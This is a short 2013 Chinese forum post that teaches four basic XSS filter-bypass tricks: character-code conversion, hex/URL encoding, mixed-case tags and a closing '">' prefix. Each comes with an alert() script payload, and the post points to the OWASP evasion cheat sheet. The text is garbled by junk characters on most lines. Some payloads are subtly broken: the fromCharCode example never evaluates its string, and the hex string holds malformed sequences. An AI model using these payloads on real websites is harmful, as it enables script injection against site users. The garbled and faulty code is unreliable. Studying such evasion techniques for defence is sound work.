找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2060|回复: 0
打印 上一主题 下一主题

XSS 绕过技术

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:10:39 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
四种超级基础的绕过方法。
; A$ ]$ @1 K* \) r* t. b1.转换为ASCII码
) e" E2 V: K. e例子:原脚本为<script>alert(‘I love F4ck’)</script >
7 h$ {/ {) N4 ]( e$ d9 F) e* w% J通过转换,变成:. I- ^# u3 P1 x
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>9 ~" S$ b- y( g/ ?+ b5 A
+ H+ u* ~* s  i! v. k
2.转换为HEX(十六进制)9 S1 |. r6 q7 b) [6 ~
例子:原脚本为<script>alert(‘I love F4ck’)</script>
' U2 p/ \" G; \) Y/ K通过转换,变成:
6 r, F7 [6 Q4 Z( g. K& K5 ^%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e3 O1 i- E+ X3 n5 t+ L/ ~5 u
, b1 l7 V* n2 x, ^! l
3.转换脚本的大小写
0 k8 G1 I) d6 \- ~& G3 @例子:原脚本为<script>alert(‘I love F4ck’)</script>$ G7 M, m7 H' r& ]
转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>
, T% Z0 Y2 l" i$ b6 p 7 l& a1 Z% ^1 G9 f2 m9 N# K
4.增加闭合标记”>, ^3 O. t5 @& }/ }
例子:原脚本为<script>alert(‘I love F4ck’)</script>1 S+ ~5 Y0 \2 t) T8 N, [  E2 X
转换为:”><script>alert(‘I love F4ck’)</script>1 a1 c; \. C# U, j
更详细绕过技术请参考此网页
# l! ^1 a6 I% w" rhttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet, j/ N2 {; V7 T/ b: x9 C
7 u; o. R2 t" c0 ?2 p! y4 ]
转换工具使用的是火狐的 hackbar mozilla addon.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表